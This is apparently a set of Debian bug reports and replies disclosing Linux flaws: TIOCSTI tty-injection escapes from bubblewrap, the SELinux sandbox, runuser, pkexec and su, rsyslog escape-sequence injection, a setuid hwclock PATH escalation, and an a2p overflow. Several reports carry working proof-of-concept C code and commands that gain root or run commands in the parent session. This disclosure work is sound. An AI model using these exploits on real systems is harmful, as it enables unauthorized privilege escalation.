Bug#850702: CVE-2017-5226 -- bubblewrap escape
Quoting "Simon McVittie" : Control: reassign 850702 bubblewrap 0~git160513-1 Control: forwarded 850702 https://github.com/projectatomic/bubblewrap/issues/142 Control: tags 850702 + security upstream On Mon, 09 Jan 2017 at 14:19:36 +0100, up201407...@alunos.dcc.fc.up.pt wrote: When executing a program via the bubblewrap sandbox, the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing an attacker to escape the sandbox. Thanks. Do you have a proposed or preferred solution for this? Using setsid(), for example. Please direct any further correspondence about this bug upstream if possible: I've opened a GitHub bug https://github.com/projectatomic/bubblewrap/issues/142 for that. This has been assigned CVE-2017-5226. Assigned by whom? It was assigned by MITRE, using their web form. If you are auditing for security vulnerabilities, please try to follow the normal disclosure best-practices: in particular, if a vulnerability is not already public, please contact upstream maintainers privately first, to give them a chance to fix a vulnerability before the general public know about it. Sorry about that. As for blocking the ioctl, that breaks legitimate use. I had this discussion with Stanislav Brabec, from SUSE a while ago. "Just for curiosity, I just ran grep for TIOCSTI ioctl() over all openSUSE sources. I got about 60 matches. I analyzed use of some cases: util-linux: used in agetty in wait_for_term_input() kbd: contrib utility sti equal to tiocsti utility. irda: Used by handle_scancode() to emulate input. tcsh: Used in ed mode and in pushback(). emacs: Used in stuff_char() (putting char to be read from terminal) ..." This message was sent using IMP, the Internet Messaging Program.
Bug#850702: CVE-2017-5226 -- bubblewrap escape
Source: bubblewrap
Version: All
Severity: grave
Hi,
When executing a program via the bubblewrap sandbox, the nonpriv
session can escape to the parent session by using the TIOCSTI ioctl to
push characters into the terminal's input buffer, allowing an attacker
to escape the sandbox.
This has been assigned CVE-2017-5226.
$ cat test.c
#include
#include
#include
int main()
{
char *cmd = "id\n";
while(*cmd)
ioctl(0, TIOCSTI, cmd++);
execlp("/bin/id", "id", NULL);
}
$ gcc test.c -o /tmp/test
$ bwrap --ro-bind /lib64 /lib64 --ro-bind /home /home --ro-bind /bin
/bin --ro-bind /tmp /tmp --chdir / --unshare-pid --uid 0 /tmp/test
id
uid=0 gid=1000 groups=1000
$ id <-- did not type this
uid=1000(saken) gid=1000(saken) groups=1000(saken)
Thanks,
Federico Bento.
This message was sent using IMP, the Internet Messaging Program.
Bug#841856: Correction of CVE-2016-7543 is incomplete
Quoting "Ola Lundqvist" : This is known. I "complained" at the time, as it can be seen here: https://lists.gnu.org/archive/html/bug-bash/2015-12/msg00112.html Version: all (see note below) Hardware: all Operating system: Debian GNU Linux (but all should be affected) Compiler: gcc Hi In CVE-2016-7543 a problem was reported that it is possible to privilege escalate to root. The correction as seen here http://lists.gnu.org/archive/html/bug-bash/2016-10/msg9.html is not complete. Well it do prevent privilege escalation to root, but it is possible to escalate to any other user and that may be bad too. The problem has also been reported (by me) in Debian as you can see here: http://bugs.debian.org/841856 I have attached a tar file with exploit code. The exploit code is used like this: make sudo make root make test Test 1 is the exploit for CVE-2016-7543 Test 2 is the exploit for this problem Test 3 is just a reference test. The proposed patch essentially disable the whole PS4 variable support for all users (not only root as the patch was for CVE-2016-7543. Please let me know if you have a better idea on how to handle this. Version note: The attached correction is made on a 4.2 system with a patch for CVE-2016-7543. However it should apply on 4.4 as well. Let me know if you need any further details. Best regards // Ola -- --- Inguza Technology AB --- MSc in Information Technology / o...@inguza.comFolkebogatan 26\ | o...@debian.org 654 68 KARLSTAD| | http://inguza.com/Mobile: +46 (0)70-332 1551 | \ gpg/f.p.: 7090 A92B 18FE 7994 0C36 4FE4 18A1 B1CF 0FE5 3DD9 / --- This message was sent using IMP, the Internet Messaging Program.
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Quoting "Simon Ruderich" : It's an invasion of privacy, as I said, for normal users. In your case, if you're changing to an unprivileged user without a shell nor password, probably some sort of "locked" account, how is an attacker going to make use of TIOCSTI to exploit your system? (Assuming you're not going to run untrusted applications). Now imagine that that locked user got compromised. Changing to a compromised user IS and will ALWAYS be bad practice. So, if you don't know if the user is compromised or not, don't log into that account, as simple as that. All sorts of bad things can happen. Just my 2 cents. On Mon, Oct 03, 2016 at 09:58:23PM +0200, up201407...@alunos.dcc.fc.up.pt wrote: Anyways, it is bad admin practice and/or an invasion of privacy to su to an unprivileged user. Please explain to me why this is bad admin practice. Lets assume I have an unprivileged user which is used to execute a script in an isolated context. Now that script breaks and I have to debug it. The user has no shell nor password. How do I run a command as that user? What I did in the past was to run su -s /bin/sh user and then debug and fix the problem. What is wrong with that setup? This has been talked alot in the past, in most of the times even closed as "WONTFIX". In that case su should prevent a user from doing it, not causing a security hole and not documenting that fact. What I'm saying is, it's OK if you can't come up with something. Better use 'su -c' in any case. Often a terminal with a shell makes debugging much less painful. su -c doesn't help there. Regards Simon -- + privacy is necessary + using gnupg http://gnupg.org + public key id: 0x92FEFDB7E44C32F9 This message was sent using IMP, the Internet Messaging Program.
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Quoting "Karel Zak" : Anyways, it is bad admin practice and/or an invasion of privacy to su to an unprivileged user. This has been talked alot in the past, in most of the times even closed as "WONTFIX". What I'm saying is, it's OK if you can't come up with something. Better use 'su -c' in any case. On Mon, Oct 03, 2016 at 09:34:14PM +0200, Simon Ruderich wrote: On Mon, Oct 03, 2016 at 09:22:50PM +0200, up201407...@alunos.dcc.fc.up.pt wrote: > Loss of job control in the shell. I'm confused. I'm not talking about removing the controlling terminal, but instead spawning a new session, opening a new pts and connecting that to the program. This way the program has a tty, job control works, but the tty is different and therefore can't be controlled by the less-privileged account. Yes, I'm thinking about this way (as discussed on util-linux mailing list), but it's relatively complex. My plan is to try to implement it. We will see. Karel -- Karel Zak http://karelzak.blogspot.com This message was sent using IMP, the Internet Messaging Program.
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Quoting "Simon Ruderich" : Loss of job control in the shell. On Mon, Oct 03, 2016 at 04:22:47PM +0200, Karel Zak wrote: The problem is that we don't want to use setsid() in all situations, because it will introduce regressions. From util-linux ReleaseNotes: Hello, Thanks for your quick reply. In which situations will this cause regressions? I tried to find cases where this will break, but I can't think of any (I guess that's because I'm just using su in a very basic way). Regards Simon -- + privacy is necessary + using gnupg http://gnupg.org + public key id: 0x92FEFDB7E44C32F9 This message was sent using IMP, the Internet Messaging Program.
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Quoting "Simon Ruderich" : Btw, at least in redhat based systems, su uses setsid() when the -c option is given, just like use_pty in sudo. Not sure if this is true in debian. On Sun, Oct 02, 2016 at 10:54:06AM +0200, up201407...@alunos.dcc.fc.up.pt wrote: Hello Simon, This has been recently patched by using seccomp to blacklist this ioctl. https://github.com/karelzak/util-linux/commit/8e4925016875c6a4f2ab4f833ba66f0fc57396a2 Hello, This is an awful hack! Blacklisting this single ioctl will fix only this specific issue, but the underlying problem, that the unprivileged user has access to the original tty, is still unfixed. The (later) patches in this bug report go in a different direction and fix the underlying problem by opening a new session with a separate tty and "proxying" the output (SSH also uses this approach - only over the network). This seems to me like a much better option than blacklisting a single ioctl. @Karel: Could you please have a look at the patches in this bug report which use setsid() to create a new session and adapt your commit with a patch based on this approach? Sudo's use_pty option does the same to fix this issue (but not enabled by default). Regards Simon -- + privacy is necessary + using gnupg http://gnupg.org + public key id: 0x92FEFDB7E44C32F9 This message was sent using IMP, the Internet Messaging Program.
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Hello Simon, This has been recently patched by using seccomp to blacklist this ioctl. https://github.com/karelzak/util-linux/commit/8e4925016875c6a4f2ab4f833ba66f0fc57396a2 This message was sent using IMP, the Internet Messaging Program.
Bug#838599: policycoreutils SELinux sandbox escape via TIOCSTI ioctl
Package: policycoreutils
Severity: important
Tags: security
Hi,
When executing a program via the SELinux sandbox, the nonpriv session
can escape to the parent session by using the TIOCSTI ioctl to push
characters into the terminal's input buffer, allowing an attacker to
escape the sandbox.
$ cat test.c
#include
#include
int main()
{
char *cmd = "id\n";
while(*cmd)
ioctl(0, TIOCSTI, cmd++);
execlp("/bin/id", "id", NULL);
}
$ gcc test.c -o test
$ /bin/sandbox ./test
id
uid=1000 gid=1000 groups=1000
context=unconfined_u:unconfined_r:sandbox_t:s0:c47,c176
[saken@ghetto ~]$ id<-- did not type this
uid=1000(saken) gid=1000(saken) groups=1000(saken)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
This is similar to CVE-2016-2568, CVE-2016-2779, etc.
Thanks,
Federico Bento.
This message was sent using IMP, the Internet Messaging Program.
Bug#836003: rsyslogd terminal escape sequences injection
Package: rsyslog Version: 7.4.8 Severity: important Tags: security Hi, It seems to me that it is possible to inject terminal escape sequences into log files via syslog(3) # tail -f /var/log/messages Aug 23 13:50:33 ghetto kernel: ACPI Error: Method parse/execution failed [\_GPE._L10] (Node 88017b0e47d0), AE_NOT_FOUND (20141107/psparse-536) (*) Aug 23 13:50:33 ghetto kernel: ACPI Exception: AE_NOT_FOUND, while evaluating GPE method [_L10] (20141107/evgpe-581) $ logger `printf 'HELLO\n\033[2AA\033[2B'` # tail -f /var/log/messages Aug 23 13:50:33 ghetto kernel: ACPI Error: Method parse/execution failed [\_GPE._L10] (Node 88017b0e47d0), AE_NOT_FOUND (20141107/psparse-536) (*) Aug 23 13:50:33 ghetto kernel: ACPI A_NOT_FOUND, while evaluating GPE method [_L10] (20141107/evgpe-581) Aug 23 13:50:39 ghetto saken: HELLO On the (*) line, the escape sequence changed its contents, meaning that an unprivileged user can take advantage of this to hide their presence on the system by changing legitimate logs, modify a window's title, change background and foreground color, etc. While researching this, I found that rsyslogd has "$EscapeControlCharactersOnReceive" which claims that is on by default and that "The intent is to provide a way to stop non-printable messages from entering the syslog system as whole." On my system, this does not seem to be true, and actually went ahead and added "$EscapeControlCharactersOnReceive on" to the /etc/rsyslog.conf file, restarted rsyslog and the problem still persists. I am using rsyslogd 7.4.8 Thanks, Federico Bento. This message was sent using IMP, the Internet Messaging Program.
Bug#815922: runuser tty hijacking via TIOCSTI ioctl
Quoting "Phil Susi" : On 2/27/2016 4:23 AM, up201407...@alunos.dcc.fc.up.pt wrote: And yes, there would be no job control if you started a shell from there. This is why in "su" setsid() is called only with "-c", partially fixing the issue. If one would to "su - user" it would still be vulnerable. That isn't good. Shouldn't only the foreground process group be allowed to use this ioctl, thus preventing any background forked processes from exploiting this? I believe that is up to kernel developers. grsecurity released a new feature named GRKERNSEC_HARDEN_TTY on Feb 18 that disallows the use of TIOCSTI to unprivileged users, unless they have the CAP_SYS_ADMIN capability, mitigating these issues. He said looking into it, he didn't find any legitimate uses of such ioctl. Check out gr_handle_tiocsti() This message was sent using IMP, the Internet Messaging Program.
Bug#815922: runuser tty hijacking via TIOCSTI ioctl
Quoting "Phil Susi" : How does setsid() help this? And wouldn't it break the ability to use ctrl-c and ctrl-z on the child program ( since the child won't have a controlling terminal )? I would think the fix would be to simply flush the terminal input buffer after the child exits. Hello Phil, Most of your questions are answered here: https://bugzilla.redhat.com/show_bug.cgi?id=173008 And yes, there would be no job control if you started a shell from there. This is why in "su" setsid() is called only with "-c", partially fixing the issue. If one would to "su - user" it would still be vulnerable. http://www.openwall.com/lists/oss-security/2016/02/25/6 The same pkexec issue got assigned CVE-2016-2568 yesterday, if you read my PS: "I don't believe any of the previous mentions of fixes for "su" and "sudo" would work here, since executing a shell via pkexec would make it not have job control." This message was sent using IMP, the Internet Messaging Program.
Bug#815922: runuser tty hijacking via TIOCSTI ioctl
Package: util-linux
Version: all
Severity: important
When executing a program via "runuser -u nonpriv program" the
nonpriv session can
escape to the parent session by using the TIOCSTI ioctl to push
characters into the
terminal's input buffer, allowing privilege escalation.
This issue has been fixed in "su" by calling setsid() and in "sudo" by
using the "use_pty" flag
# cat test.c
#include
int main()
{
char *cmd = "id\n";
while(*cmd)
ioctl(0, TIOCSTI, cmd++);
}
# gcc test.c -o test
# id saken
uid=1000(saken) gid=1000(saken) groups=1000(saken)
# runuser -u saken ./test ---> last command i type in
id
# id ---> did not type this
uid=0(root) gid=0(root) groups=0(root)
Thanks,
Federico Bento
This message was sent using IMP, the Internet Messaging Program.
Bug#812512: pkexec tty hijacking via TIOCSTI ioctl
Package: policykit-1
Version: all
Severity: important
File: /usr/bin/pkexec
When executing a program via "pkexec --user nonpriv program" the
nonpriv session can escape to the parent session by using the TIOCSTI
ioctl to push characters into the terminal's input buffer, allowing
privilege escalation.
This issue has been fixed in "su" CVE-2005-4890 by calling setsid()
and in "sudo" by using the "use_pty" flag.
$ cat test.c
#include
int main()
{
char *cmd = "id\n";
while(*cmd)
ioctl(0, TIOCSTI, cmd++);
}
$ gcc test.c -o test
$ id
uid=1000(saken) gid=1000(saken) groups=1000(saken)
# pkexec --user saken ./test > last command i type in
id
# id > did not type this
uid=0(root) gid=0(root) groups=0(root)
I don't believe any of the previous mentions of fixes for "su" and
"sudo" work here, since executing a shell via pkexec would make it not
have job control.
I'm also requesting a CVE for this issue
Thanks,
Federico Bento
This message was sent using IMP, the Internet Messaging Program.
Bug#786804: hwclock(8) SUID privilege escalation
Package: util-linux
Version: 2.26.2
Actually, all versions of util-linux are affected.
Hello, Federico Bento here.
During a recent assessment I have stumbled across a system which had
hwclock(8) setuid root
$ man hwclock | sed -n '223,231p'
Users access and setuid
Sometimes, you need to install hwclock setuid root. If you
want users other than the superuser to be able to display the clock
value using the direct ISA I/O
method, install it setuid root. If you have the /dev/rtc
interface on your system or are on a non-ISA system, there's probably
no need for users to use the
direct ISA I/O method, so don't bother.
In any case, hwclock will not allow you to set anything unless
you have the superuser real uid. (This is restriction is not
necessary if you haven't
installed setuid root, but it's there for now).
http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L2041
http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L1920
"The program is designed to run setuid superuser, since we need to be able
to do direct I/O. (More to the point: we need permission to execute the
iopl() system call). (However, if you use one of the methods other than
direct ISA I/O to access the clock, no setuid is required)."
"program is designed to run setuid (in some situations)"
from util-linux/2.26.2-5/sys-utils/hwclock.c
http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L748
/* Quotes in date_opt would ruin the date command we construct. */
if (strchr(date_opt, '"') != NULL) {
warnx(_
("The value of the --date option is not a valid date.\n"
"In particular, it contains quotation marks."));
return 12;
}
sprintf(date_command, "date --date=\"%s\" +seconds-into-epoch=%%s",
date_opt);
[...]
date_child_fp = popen(date_command, "r");
[...]
hwclock uses popen() to date_command which is 'date --date=\"%s\"
+seconds-into-epoch=%%s'
Exploiting is trivial, since $PATH is user-controlled
$ ls -l /usr/sbin/hwclock
-rwsr-sr-x. 1 root root 48096 Nov 27 14:10 /usr/sbin/hwclock
$ cat > date.c;gcc date.c -o date
main()
{
chown("/tmp/sploit", 0, 0);
chmod("/tmp/sploit", 04755);
}
^D
$ cp /bin/sh /tmp/sploit
$ PATH=".:$PATH" /usr/sbin/hwclock --set --date="05/23/2015 20:35:37"
hwclock: The date command issued by hwclock returned unexpected results.
The command was:
date --date="05/23/2015 20:35:37" +seconds-into-epoch=%s
The response was:
hwclock: No usable set-to time. Cannot set clock.
$ /tmp/sploit
# id
euid=0(root) groups=0(root)
Notes:
Please note that this is possible on Debian-derived (and therefore
Ubuntu), because /bin/sh is provided by dash which does NOT make use
of privmode.
From a Tavis Ormandy's blog post:
488
489 if (running_setuid && privileged_mode == 0)
490 disable_priv_mode ();
491
Where disable_priv_mode () is defined as:
1202 void
1203 disable_priv_mode ()
1204 {
1205 setuid (current_user.uid);
1206 setgid (current_user.gid);
1207 current_user.euid = current_user.uid;
1208 current_user.egid = current_user.gid;
1209 }
On most modern Linux systems, /bin/sh is provided by bash.
As everyone who works in security quickly learns, bash will drop
privileges very early if ruid != euid unless -p switch is used.
This is surprisingly effective at mitigating some common vulnerability
classes and misconfigurations, and it has been around since mid 90's.
Indeed, Chet Ramey (bash author and maintainer) explains that the
purpose of this is to prevent "bogus system(3)/popen(3) calls in
setuid executables"
TL;DR: When setuid root, hwclock relies on $PATH to popen() the date
command, meaning privilege escalation can occur since $PATH is
user-controlled.
This message was sent using IMP, the Internet Messaging Program.
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#769606: Overflow a2p utility
Package: perl Version: 5 Hello. My name is Federico Manuel Bento, and i have found what it _appears_ to be a buffer overflow on the a2p (awk2perl) utility. It comes by default on several different systems. Tested on Fedora 20, Fedora 19, Debian, and works probably on every UNIX-likes including BSD's, AIX, etc. Eg: [saken@zippy ~]$ python -c "print 'A' * 2048" | a2p >/dev/null [saken@zippy ~]$ python -c "print 'A' * 2049" | a2p >/dev/null [saken@zippy ~]$ python -c "print 'A' * 2050" | a2p >/dev/null Segmentation fault OR [saken@zippy ~]$ python -c "print 'A'*3000" > lel [saken@zippy ~]$ gdb a2p (gdb) r lel Starting program: /usr/bin/a2p lel [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. 0x0040b7c5 in yyparse () (gdb) info reg rax0x41414141414141418680820740569200760 rbx0x11 rcx0x00 rdx0x67d7246805284 rsi0x67dab06806192 rdi0x414141412021161080 rbp0x60x6 rsp0x7fffe1d00x7fffe1d0 r8 0x88 r9 0x5f95 r100x00 r110x38e0174b60244277791584 r120x66 r130x00 r140x00 r150x00 rip0x40b7c50x40b7c5 eflags 0x10206[ PF IF RF ] cs 0x3351 ss 0x2b43 ds 0x00 es 0x00 fs 0x00 gs 0x00 [saken@zippy ~]$ uname -a Linux zippy 3.2.0-4-amd64 #1 SMP Debian 3.2.63-2 x86_64 GNU/Linux [saken@zippy ~]$ dpkg -s libc6 | grep ^Version Version 2.13-38+deb7u6 This message was sent using IMP, the Internet Messaging Program. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
